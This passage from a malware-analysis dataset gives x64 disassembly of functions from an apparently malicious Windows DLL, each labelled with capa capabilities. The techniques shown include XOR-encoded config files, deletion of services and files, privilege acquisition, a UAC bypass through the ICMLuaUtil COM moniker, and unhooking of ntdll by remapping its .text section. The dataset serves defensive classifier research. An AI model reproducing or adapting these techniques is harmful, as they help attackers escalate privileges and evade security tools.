joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180013c50
Capabilities:
Delete file
Encode data using xor
Set file attributes

Disassembly:
push rbx
sub rsp, 0x230
mov r8d, 0xa88
lea rcx, [0x18005ff30]
mov rbx, rdx
call qword [sym.imp.ntdll.dll_memcpy]
mov rax, rbx
mov ecx, 0xa88
xor byte [rax], 0x3a
inc rax
sub rcx, 1
jne 0x180013c77
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.ntdll.dll_memset
lea r9, str.install.cfg
lea r8, [0x180060794]
lea rdx, str._s_s
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 2
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov r8d, 0xa88
lea rcx, [rsp + 0x20]
mov rdx, rbx
call fcn.180013d00
mov edx, 7
lea rcx, [rsp + 0x20]
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov eax, ebx
add rsp, 0x230
pop rbx
ret

Function at 0x180013d00
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
mov edi, r8d
and dword [rax - 0x20], 0
mov rsi, rdx
and dword [rax + 0x20], 0
xor r8d, r8d
mov edx, 0x40000000
mov dword [rax - 0x28], 2
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180013d4c
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180013d94
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, edi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x180013d84
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, eax
test rbx, rbx
je 0x180013d80
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
jmp 0x180013d94
test rbx, rbx
je 0x180013d92
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x180013da4
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
mov rax, rdx
test rdx, rdx
je 0x180013dcd
mov edx, 0x64
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryW]
test eax, eax
jne 0x180013dcd
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.DLL_GetLastError]
xor eax, eax
add rsp, 0x28
ret
Function at 0x180014568
Capabilities:
Get session information
Get session user name

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
and qword [rbp - 8], 0
lea rax, [rbp + 0x40]
and qword [rbp - 0x10], 0
lea r9, [rbp - 8]
and dword [rbp + 0x48], 0
xor esi, esi
and dword [rbp + 0x40], 0
mov rdi, rcx
and dword [rbp + 0x38], esi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 1]
call qword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsW]
test eax, eax
je 0x1800146a3
xor ebx, ebx
cmp dword [rbp + 0x40], ebx
jbe 0x180014697
mov rdx, qword [rbp - 8]
lea rax, [rbp + 0x48]
lea r14, [rbx + rbx*2]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x10]
mov r8d, 5
xor ecx, ecx
mov edx, dword [rdx + r14*8]
call qword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x18001468c
mov rcx, qword [rbp - 0x10]
lea rdx, [0x180057e44]
call qword [sym.imp.ntdll.dll_wcscmp]
test eax, eax
je 0x18001462c
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x38]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x38], eax
call qword [rdi + 0x28]
mov rdx, qword [rbp - 0x10]
jmp 0x18001465a
lea rcx, str.system
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov r8d, 4
lea rdx, [rbp + 0x38]
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rbp + 0x38], eax
call qword [rdi + 0x28]
lea rdx, str.system
mov r8d, dword [rbp + 0x38]
mov rcx, rdi
call qword [rdi + 0x28]
mov rax, qword [rbp - 8]
mov r8d, 4
add esi, dword [rbp + 0x38]
mov rcx, rdi
and dword [rbp + 0x38], 0
lea rdx, [rax + r14*8]
call qword [rdi + 0x28]
mov rcx, qword [rbp - 0x10]
add esi, 8
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
inc ebx
cmp ebx, dword [rbp + 0x40]
jb 0x1800145be
mov rcx, qword [rbp - 8]
call qword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, esi
add rsp, 0x40
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret

Function at 0x180014840
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rsi, rdx
mov edi, ecx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x238
call qword [sym.imp.ntdll.dll_memset]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800148d2
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x1800148aa
cmp dword [rsp + 0x28], edi
je 0x1800148b0
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x180014896
jmp 0x1800148c4
mov r8d, 0x208
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memcpy]
test rbx, rbx
je 0x1800148d2
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea r11, [rsp + 0x260]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1800148ec
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x180014942
lea rdx, [rsp + 0x4c]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x180014957
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x180014922
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
mov eax, dword [rsp + 0x28]
jmp 0x180014946

Function at 0x180014960
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov ebx, edx
mov rsi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x1800149c3
lea rdx, [rsp + 0x4c]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x1800149b5
cmp ebx, dword [rsp + 0x40]
je 0x1800149dc
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x18001499d
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov eax, dword [rsp + 0x28]
jmp 0x1800149c7

Function at 0x1800149e4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
xor edx, edx
mov ebx, ecx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_Process32FirstW]
jmp 0x180014a2d
cmp dword [rsp + 0x28], ebx
je 0x180014a42
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x180014a19
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
mov eax, dword [rsp + 0x40]
jmp 0x180014a31
Function at 0x180014a48
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
xor r12d, r12d
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x180014b1e
test rdx, rdx
je 0x180014b1e
lea rdx, [rbp - 0x10]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.DLL_GetLogicalDriveStringsW]
test eax, eax
je 0x180014b12
movzx eax, word [rbp - 0x10]
test ax, ax
je 0x180014b12
mov esi, r12d
lea r14, [rbp - 0xe]
mov word [rbp + 0x410], ax
lea rdx, [rsp + 0x20]
movzx eax, word [r14]
lea rcx, [rbp + 0x410]
mov r8d, 0x64
mov word [rbp + 0x412], ax
mov word [rbp + 0x414], r12w
call qword [sym.imp.KERNEL32.DLL_QueryDosDeviceW]
test eax, eax
je 0x180014b1e
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
movsxd r15, eax
lea rdx, [rsp + 0x20]
mov r8, r15
mov rcx, rdi
call qword [sym.imp.ntdll.dll_wcsncmp]
test eax, eax
je 0x180014b3c
movzx eax, word [rbp + rsi*2 - 8]
add rsi, 4
add r14, 8
test ax, ax
jne 0x180014aa7
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
xor eax, eax
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
lea rdx, [rbp + 0x410]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdx, [rdi + r15*2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, 1
jmp 0x180014b20

Function at 0x180014b60
Capabilities:
Acquire debug privileges
Enumerate process modules
Get process image filename

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x820
mov rdi, rdx
mov ebx, ecx
mov edx, 1
lea rcx, str.SeDebugPrivilege
call fcn.1800146b0
mov edx, 1
lea rcx, str.SeTcbPrivilege
call fcn.1800146b0
and qword [rsp + 0x848], 0
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x800
call sub.ntdll.dll_memset
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180014c34
and dword [rsp + 0x840], 0
lea r9, [rsp + 0x840]
mov r8d, 8
lea rdx, [rsp + 0x848]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_K32EnumProcessModules]
mov r8d, 0x400
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_K32GetProcessImageFileNameW]
test eax, eax
jne 0x180014c19
lea rdx, [0x180058758]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
jmp 0x180014c26
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.180014a48
test rbx, rbx
je 0x180014c34
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x830]
xor eax, eax
add rsp, 0x820
pop rdi
ret
Function at 0x180014e28
Capabilities:
Start service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x180014e5a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180014eb0
mov r8d, 0xf01ff
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
jne 0x180014e7e
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
jmp 0x180014ea5
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x180014e9a
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, eax
jmp 0x180014e9c
xor ebx, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180014ec0
Capabilities:
Enumerate services

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
xor ebx, ebx
mov rbp, rcx
xor edx, edx
mov dword [rax + 0x18], ebx
xor ecx, ecx
mov dword [rax + 0x10], ebx
lea r8d, [rbx + 5]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x180014fbc
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rbx
lea r9d, [rbx + 3]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 0x30]
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rsi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov r14d, dword [rsp + 0x90]
add r14d, 0x38
mov ecx, r14d
mov r15d, r14d
call qword [sym.imp.msvcrt.dll_malloc]
mov rdi, rax
test rax, rax
je 0x180014fbc
mov r8d, r15d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ntdll.dll_memset]
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x88]
mov qword [rsp + 0x40], rbx
lea r9d, [rbx + 3]
mov qword [rsp + 0x38], rax
lea r8d, [rbx + 0x30]
lea rax, [rsp + 0x90]
xor edx, edx
mov qword [rsp + 0x30], rax
mov rcx, rsi
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov rcx, rsi
test eax, eax
jne 0x180014fd2
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, ebx
cmp dword [rsp + 0x88], ebx
jbe 0x180015015
mov eax, esi
mov rdx, rbp
imul r14, rax, 0x38
mov rcx, qword [r14 + rdi]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x180015007
inc esi
cmp esi, dword [rsp + 0x88]
jb 0x180014fe3
jmp 0x180015015
mov ebx, dword [r14 + rdi + 0x2c]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_free]
mov eax, ebx
jmp 0x180014fbe
Function at 0x180015338
Capabilities:
Bypass uac via icmluautil

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rbp
lea rbp, [rsp - 0x7b0]
sub rsp, 0x8b0
mov rbx, rcx
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x208
call sub.ntdll.dll_memset
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp - 0x80]
call fcn.180014840
lea rdx, str.svchost.exe
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x180015391
call fcn.18001501c
and qword [rbp + 0x7c8], 0
lea rdx, [rsp + 0x30]
xorps xmm0, xmm0
lea rcx, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rsp + 0x40]
lea rcx, str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call qword [sym.imp.ole32.dll_IIDFromString]
xor edx, edx
lea rcx, [rbp + 0x190]
mov r8d, 0x208
call sub.ntdll.dll_memset
xor edx, edx
lea rcx, [rbp + 0x3a0]
mov r8d, 0x410
call sub.ntdll.dll_memset
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov r8d, 0x104
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x30]
call qword [sym.imp.ole32.dll_StringFromGUID2]
lea r8, [rbp + 0x190]
lea rdx, str.Elevation:Administrator_new:_s
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.USER32.dll_wsprintfW]
test eax, eax
js 0x18001549d
xor edx, edx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x30]
call qword [sym.imp.ntdll.dll_memset]
and qword [rsp + 0x78], 0
lea r9, [rbp + 0x7c8]
lea r8, [rsp + 0x40]
mov dword [rsp + 0x50], gethostbyname
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x64], 4
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.ole32.dll_CoGetObject]
test eax, eax
js 0x18001549d
mov rcx, qword [rbp + 0x7c8]
xor r9d, r9d
and dword [rsp + 0x28], 0
xor r8d, r8d
and dword [rsp + 0x20], 0
mov rdx, rbx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x7c8]
test rcx, rcx
je 0x1800154af
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rbx, qword [rsp + 0x8c0]
mov eax, 1
add rsp, 0x8b0
pop rbp
ret

Function at 0x1800154c8
Capabilities:
Delete service

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x1800154f5
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x180015549
lea rdx, [rbx + 0x670]
mov r8d, 0xf01ff
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x180015528
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
jmp 0x180015549
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x1800154ed
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180015554
Capabilities:
Delete file
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x978]
sub rsp, 0xa70
mov rdi, rcx
lea rbx, [rcx + 0x864]
mov r14d, 0x208
lea rcx, [rsp + 0x20]
mov r8d, r14d
xor edx, edx
call sub.ntdll.dll_memset
lea rsi, str._s_s
mov r8, rbx
mov rdx, rsi
lea r9, [rdi + 0x92c]
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x760]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [rdi + 0x990]
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x760]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x550]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, [rdi + 0x9f4]
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x550]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x130]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, str.install.cfg
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x130]
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, r14d
lea rcx, [rbp + 0x340]
xor edx, edx
call sub.ntdll.dll_memset
lea r9, str.temp.key
mov r8, rbx
mov rdx, rsi
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_wsprintfW]
mov ebx, 2
lea rcx, [rsp + 0x20]
mov edx, ebx
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edx, ebx
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edx, ebx
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
cmp dword [rdi + 0xa80], 0
je 0x1800156f6
mov edx, ebx
lea rcx, [rbp + 0x550]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x550]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov edx, ebx
lea rcx, [rbp + 0x760]
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea rcx, [rbp + 0x760]
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea r11, [rsp + 0xa70]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180015718
Capabilities:
Delete service
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x440
mov rbx, rcx
mov edi, 0x208
mov r8d, edi
lea rcx, [rsp + 0x230]
xor edx, edx
call sub.ntdll.dll_memset
lea rdx, [rbx + 0x670]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [0x1800588f8]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov r8d, edi
lea rcx, [rsp + 0x20]
xor edx, edx
call sub.ntdll.dll_memset
mov edx, 0x64
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
jne 0x180015797
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rdx, str.drivers_
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rbx + 0x670]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, str..sys
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
jne 0x1800157ed
call qword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x18001584e
mov r8d, 0xf01ff
lea rdx, [rsp + 0x230]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rbx, rax
test rax, rax
jne 0x180015821
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
jmp 0x18001584e
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x180015838
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, eax
jmp 0x18001583a
xor esi, esi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180015864
Capabilities:
Allocate or change rwx memory
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x198]
sub rsp, 0x270
xorps xmm0, xmm0
lea rcx, [0x1800581a8]
xor eax, eax
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
xor r12d, r12d
mov rbx, rax
test rax, rax
je 0x180015a37
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea r9d, [r12 + 0x18]
mov rdx, rbx
mov rcx, rax
lea r8, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_K32GetModuleInformation]
mov rsi, qword [rsp + 0x40]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x208
call sub.ntdll.dll_memset
mov edx, 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
test eax, eax
je 0x180015a37
lea rdx, str._ntdll.dll
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov qword [rsp + 0x30], r12
lea r13d, [r12 + 1]
mov r8d, r13d
mov dword [rsp + 0x28], r12d
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
test rax, rax
je 0x180015a37
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
test rax, rax
je 0x180015a37
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
lea edx, [r12 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov r15, rax
test rax, rax
je 0x180015a37
movsxd rbx, dword [rsi + 0x3c]
movzx edi, r12w
add rbx, rsi
cmp r12w, word [rbx + 6]
jae 0x180015a37
movzx ecx, word [rbx + 0x14]
add rcx, rbx
movzx eax, di
lea rdx, [rax + rax*4]
lea r14, [rcx + rdx*8]
lea rcx, [r14 + 0x18]
lea rdx, str..text
call qword [sym.imp.ntdll.dll_strcmp]
test eax, eax
jne 0x180015a29
mov ecx, dword [r14 + 0x24]
lea r9, [rbp + 0x1a0]
mov edx, dword [r14 + 0x20]
lea r8d, [rax + 0x40]
add rcx, rsi
mov dword [rbp + 0x1a0], r12d
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
mov eax, dword [r14 + 0x24]
mov r8d, dword [r14 + 0x20]
lea rdx, [rax + r15]
lea rcx, [rax + rsi]
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [r14 + 0x24]
lea r9, [rbp + 0x1a0]
mov edx, dword [r14 + 0x20]
add rcx, rsi
mov r8d, dword [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add di, r13w
cmp di, word [rbx + 6]
jb 0x1800159aa
lea r11, [rsp + 0x270]
xor eax, eax
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1800165f4
Capabilities:
Allocate or change rwx memory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x40
xor eax, eax
mov ebp, edx
mov r9d, 4
mov edi, r8d
mov r10d, r9d
mov ebx, ecx
shl r10d, cl
mov r8d, 0x1000
cmp ecx, 8
cmovle eax, r10d
xor ecx, ecx
movsxd rdx, eax
add rdx, 0x28
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x1800166e6
and dword [rax + 0x10], 0
mov r15d, 1
